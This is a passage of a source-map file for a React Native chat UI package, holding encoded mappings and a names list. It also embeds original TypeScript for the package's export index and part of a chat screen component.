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","names":["import_react","import_react_native","import_core","import_react","import_react_native","import_core","import_plugin_runtime","import_react_native","import_core","import_plugin_runtime","import_react","import_core","import_plugin_runtime","import_react","import_react_native","import_core","import_plugin_runtime","import_react","import_react_native","import_core","import_plugin_runtime","import_react","import_react_native","import_core","import_react","import_core","data","import_jsx_runtime","styles","import_jsx_runtime","React","styles","import_jsx_runtime","import_jsx_runtime","import_jsx_runtime","styles","import_react_native","import_core","import_jsx_runtime","fontFam","styles","import_react_native","import_core","import_jsx_runtime","fontFam","styles","import_zustand","import_jsx_runtime","fontFam","styles","Markdown","import_react_native","import_plugin_runtime","import_jsx_runtime","styles","import_react","import_react_native","import_core","import_plugin_runtime","import_jsx_runtime","styles","Svg","import_react_native","import_core","import_jsx_runtime","styles","import_jsx_runtime","isSameDay","styles","import_react","import_react_native","import_react_native_webview","import_core","import_jsx_runtime","fontFam","styles","import_react","import_react_native","import_core","import_jsx_runtime","fontFam","styles","import_react_native","import_core","import_jsx_runtime","WARM_AMBER","WARM_AMBER_SOFT","styles","import_react","import_react_native","import_core","import_plugin_runtime","import_jsx_runtime","fontFam","styles","import_react","import_react_native","import_core","import_plugin_runtime","import_jsx_runtime","fontFam","styles","import_react","import_react_native","import_core","import_plugin_runtime","import_jsx_runtime","fontFam","styles","import_react","import_react_native","import_core","import_plugin_runtime","import_jsx_runtime","fontFam","styles","import_react","import_react_native","import_react_native_svg","import_core","import_plugin_runtime","import_react","import_core","import_plugin_runtime","import_jsx_runtime","fontFam","styles","Svg","import_react","import_react_native","import_react_native_webview","import_jsx_runtime","s","styles","import_react","import_react_native","import_core","import_jsx_runtime","fontFam","styles"]}
|
|
1
|
+
{"version":3,"sources":["../src/index.ts","../src/AdasChatScreen.tsx","../src/chat/MessageBubble.tsx","../src/chat/JobProgressBar.tsx","../src/chat/UIActionsRow.tsx","../src/providers.ts","../src/plugin/WidgetHost.tsx","../src/plugin/PluginSurface.tsx","../src/plugin/Plugin.tsx","../src/plugin/EmbeddedPluginWebView.tsx","../src/plugin/usePluginBridge.ts","../src/chat/QuestionChips.tsx","../src/chat/TableCardBlock.tsx","../src/stores/lightboxStore.ts","../src/chat/TypingIndicator.tsx","../src/chat/ChatInput.tsx","../src/Lightbox.tsx","../src/widgets/WidgetWebView.tsx","../src/TenantPicker.tsx","../src/WorkspaceBanner.tsx","../src/auth/HandoffScreen.tsx","../src/auth/handoffExchange.ts","../src/auth/OpenJoinScreen.tsx","../src/auth/openJoin.ts","../src/auth/JoinScreen.tsx","../src/auth/inviteJoin.ts","../src/auth/LoginScreen.tsx","../src/auth/login.ts","../src/voice/VoiceCallSheet.tsx","../src/voice/useVoiceCall.ts","../src/voice/voiceSession.ts","../src/voice/VoiceSessionHost.tsx","../src/voice/VoiceMicIndicator.tsx"],"sourcesContent":["/**\n * @ateam-ai-mobile/ui — prebuilt ADAS experience for React Native hosts.\n *\n * Built ONLY on public @ateam-ai-mobile/core + @ateam-ai-mobile/plugin-runtime APIs. Drop in\n * <AdasChatScreen /> for the full chat, or compose the pieces yourself.\n */\n\n// The drop-in experience\nexport { default as AdasChatScreen } from './AdasChatScreen';\nexport type { AdasChatScreenProps } from './AdasChatScreen';\n\n// Chat pieces (for custom layouts)\nexport { default as MessageBubble, DaySeparator } from './chat/MessageBubble';\nexport { default as ChatInput } from './chat/ChatInput';\nexport { default as TypingIndicator } from './chat/TypingIndicator';\nexport { default as JobProgressBar } from './chat/JobProgressBar';\nexport { default as TableCardBlock } from './chat/TableCardBlock';\nexport { default as UIActionsRow } from './chat/UIActionsRow';\n\n// Plugin rendering (native bundles + iframe fallback + surface wrapper)\nexport { default as Plugin } from './plugin/Plugin';\nexport { default as PluginSurface } from './plugin/PluginSurface';\n// Zero-config widget presenter: chips + agent focus-plugin → open widgets.\n// AdasChatScreen mounts one automatically; custom layouts render <WidgetHost/>\n// once near the root and/or call openWidget(pluginId, props) imperatively.\nexport { default as WidgetHost, openWidget, useWidgetHostStore } from './plugin/WidgetHost';\nexport { default as EmbeddedPluginWebView } from './plugin/EmbeddedPluginWebView';\nexport { usePluginBridge, buildPluginBridgeJS } from './plugin/usePluginBridge';\n\n// Widgets\nexport { default as WidgetWebView } from './widgets/WidgetWebView';\n\n// Team switcher (optional — single-tenant hosts never render it)\nexport { default as TenantPicker } from './TenantPicker';\nexport type { TenantPickerProps } from './TenantPicker';\n\n// Image lightbox\nexport { default as Lightbox } from './Lightbox';\nexport { useLightboxStore } from './stores/lightboxStore';\n\n// Workspace subscription banner (server-authored message; GET /api/session)\nexport { default as WorkspaceBanner } from './WorkspaceBanner';\nexport type { WorkspaceBannerProps } from './WorkspaceBanner';\n\n// Auth screens (R9B) — generic pre-auth presentation; the host injects native\n// OAuth (via setOAuthProvider), the session/tenant callbacks, and wraps them in\n// its own SafeAreaView + router phase. The native id_token acquisition never\n// enters this package.\nexport { default as HandoffScreen } from './auth/HandoffScreen';\nexport type { HandoffScreenProps } from './auth/HandoffScreen';\nexport { runHandoffExchange, handoffErrorMessage } from './auth/handoffExchange';\nexport type { HandoffExchangeDeps } from './auth/handoffExchange';\nexport { default as OpenJoinScreen } from './auth/OpenJoinScreen';\nexport type { OpenJoinScreenProps } from './auth/OpenJoinScreen';\nexport { completeOpenJoin, openJoinErrorMessage } from './auth/openJoin';\nexport type { OpenJoinDeps } from './auth/openJoin';\nexport { default as JoinScreen } from './auth/JoinScreen';\nexport type { JoinScreenProps } from './auth/JoinScreen';\nexport { completeInviteJoin, inviteHeadline } from './auth/inviteJoin';\nexport type { InviteJoinDeps } from './auth/inviteJoin';\nexport { default as LoginScreen } from './auth/LoginScreen';\nexport type { LoginScreenProps } from './auth/LoginScreen';\nexport { googleClientIds, isConsumerDisabled, completeProviderSignIn } from './auth/login';\nexport type { ProviderSignInDeps } from './auth/login';\n\n// Voice (requires `voiceUrl` in the initAdas() config)\nexport { default as VoiceCallSheet } from './voice/VoiceCallSheet';\nexport { default as useVoiceCall } from './voice/useVoiceCall';\nexport type { TranscriptEntry, CallState } from './voice/useVoiceCall';\n// The headless session + its app-root mounts. VoiceSessionHost keeps the loop\n// alive independent of any screen; VoiceMicIndicator is the platform-owned mic\n// evidence; `voiceSession` is the VoiceAPI provider handed to setVoiceProvider.\nexport { default as VoiceSessionHost } from './voice/VoiceSessionHost';\nexport { default as VoiceMicIndicator } from './voice/VoiceMicIndicator';\nexport { voiceSession } from './voice/voiceSession';\n\n// Host integration\nexport {\n setClipboardProvider,\n setUIActionNavigator,\n setPluginWebViewExtraHosts,\n setOAuthProvider,\n setCallAudioProvider,\n} from './providers';\nexport type {\n ClipboardProvider,\n UIActionRoute,\n OAuthProvider,\n OAuthGoogleConfig,\n CallAudioProvider,\n} from './providers';\n","/**\n * AdasChatScreen — the drop-in ADAS chat experience.\n *\n * Push it as a screen or mount it full-flex anywhere: message history with\n * live agent progress, day separators, UI-action chips, table cards,\n * attachment previews, pull-to-refresh, and the composer. Built ONLY on the\n * public @ateam-ai-mobile/core + @ateam-ai-mobile/plugin-runtime APIs.\n *\n * The host must call initAdas() first, and typically:\n * setUIActionNavigator(route => router.push(...)) // chips → plugin screen\n * setupExpoProviders() // Expo hosts\n *\n * Also mount <SurfaceDispatcher /> once at the app root so engine-summoned\n * plugin surfaces (drawers/fullscreens) can appear over the chat.\n */\nimport { useCallback, useEffect, useMemo, useRef, useState } from 'react';\nimport {\n FlatList,\n KeyboardAvoidingView,\n Platform,\n RefreshControl,\n StyleSheet,\n View,\n} from 'react-native';\nimport { ada, useChatStore, pluginCommandEmitter } from '@ateam-ai-mobile/core';\nimport type { Message } from '@ateam-ai-mobile/core';\nimport MessageBubble, { DaySeparator } from './chat/MessageBubble';\nimport TypingIndicator from './chat/TypingIndicator';\nimport ChatInput from './chat/ChatInput';\nimport Lightbox from './Lightbox';\nimport WidgetHost from './plugin/WidgetHost';\n\nexport interface AdasChatScreenProps {\n /** Called when the user taps the call button; omit to hide it. */\n onCallStart?: () => void;\n /** Composer placeholder. */\n placeholder?: string;\n /** Extra element rendered above the composer (e.g. suggestion chips). */\n footerAccessory?: React.ReactNode;\n /** Mount the fullscreen image viewer here. Default true — set false if\n * the host already mounts <Lightbox /> at its root. */\n withLightbox?: boolean;\n}\n\nfunction isSameDay(a: Date, b: Date): boolean {\n return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();\n}\n\nexport default function AdasChatScreen({\n onCallStart,\n placeholder,\n footerAccessory,\n withLightbox = true,\n}: AdasChatScreenProps) {\n const messages = useChatStore(s => s.messages);\n const loading = useChatStore(s => s.loading);\n const conversationLoaded = useChatStore(s => s.conversationLoaded);\n const loadConversation = useChatStore(s => s.loadConversation);\n const sendMessage = useChatStore(s => s.sendMessage);\n\n const listRef = useRef<FlatList<Message>>(null);\n const [refreshing, setRefreshing] = useState(false);\n const [prefill, setPrefill] = useState('');\n\n // Initial history load.\n useEffect(() => {\n if (!conversationLoaded) loadConversation();\n }, [conversationLoaded, loadConversation]);\n\n // bridge.prepareMessage(text) → pre-fill the composer without sending.\n useEffect(() => {\n const unsub = pluginCommandEmitter.on('prepare-chat-message', ({ text }: { text?: string }) => {\n if (text) setPrefill(text);\n });\n return unsub;\n }, []);\n\n // Inverted list — newest at the bottom without scroll management. On WEB\n // `inverted` is a scaleY(-1) transform that react-native-web applies to the\n // container but not reliably to items — content renders upside-down. Use a\n // normal list there and scroll to the end instead.\n const useInverted = Platform.OS !== 'web';\n const listData = useMemo(\n () => (useInverted ? [...messages].reverse() : messages),\n [messages, useInverted],\n );\n\n const scrollToLatest = useCallback((animated: boolean) => {\n if (useInverted) listRef.current?.scrollToOffset({ offset: 0, animated });\n else listRef.current?.scrollToEnd({ animated });\n }, [useInverted]);\n\n const handleSend = useCallback((text: string) => {\n setPrefill('');\n sendMessage(text);\n scrollToLatest(true);\n }, [sendMessage, scrollToLatest]);\n\n const handleRefresh = useCallback(async () => {\n setRefreshing(true);\n try { await loadConversation(); } catch {}\n setRefreshing(false);\n }, [loadConversation]);\n\n const renderItem = useCallback(({ item, index }: { item: Message; index: number }) => {\n // The \"previous\" (older) message is the NEXT array item when inverted,\n // the previous one otherwise.\n const older = useInverted ? listData[index + 1] : listData[index - 1];\n const showDaySep = !older || !isSameDay(older.timestamp, item.timestamp);\n return (\n <View>\n {showDaySep && <DaySeparator date={item.timestamp} />}\n <MessageBubble message={item} />\n </View>\n );\n }, [listData, useInverted]);\n\n const typingIndicator =\n loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress\n ? <TypingIndicator />\n : null;\n\n return (\n <KeyboardAvoidingView\n style={styles.root}\n behavior={Platform.OS === 'ios' ? 'padding' : undefined}\n >\n <FlatList\n ref={listRef}\n style={styles.list}\n data={listData}\n inverted={useInverted}\n keyExtractor={m => m.id}\n renderItem={renderItem}\n // In an inverted list the header renders at the visual BOTTOM — where\n // the typing indicator belongs; on web (non-inverted) it's the footer.\n // Suppressed when the newest bubble already shows its progress pill.\n ListHeaderComponent={useInverted ? typingIndicator : null}\n ListFooterComponent={useInverted ? null : typingIndicator}\n onContentSizeChange={useInverted ? undefined : () => scrollToLatest(false)}\n refreshControl={\n <RefreshControl refreshing={refreshing} onRefresh={handleRefresh} tintColor={ada.orange} />\n }\n keyboardShouldPersistTaps=\"handled\"\n contentContainerStyle={styles.listContent}\n />\n {footerAccessory}\n <ChatInput\n onSend={handleSend}\n onCallStart={onCallStart}\n loading={loading}\n 